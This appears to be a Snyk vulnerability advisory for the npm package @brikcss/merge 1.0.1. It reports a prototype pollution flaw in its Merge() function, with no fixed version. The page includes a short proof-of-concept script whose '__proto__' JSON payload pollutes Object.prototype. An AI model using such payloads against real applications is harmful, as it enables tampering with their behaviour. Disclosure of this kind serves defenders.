@brikcss/merge@1.0.1 vulnerabilities

Utility to perform a deep merge of a list of objects or arrays.

Direct Vulnerabilities

Known vulnerabilities in the @brikcss/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

@brikcss/merge is an Utility to perform a deep merge of a list of objects or arrays.

Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function.

##PoC

// PoC.js
var merge = require("@brikcss/merge")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for @brikcss/merge.

*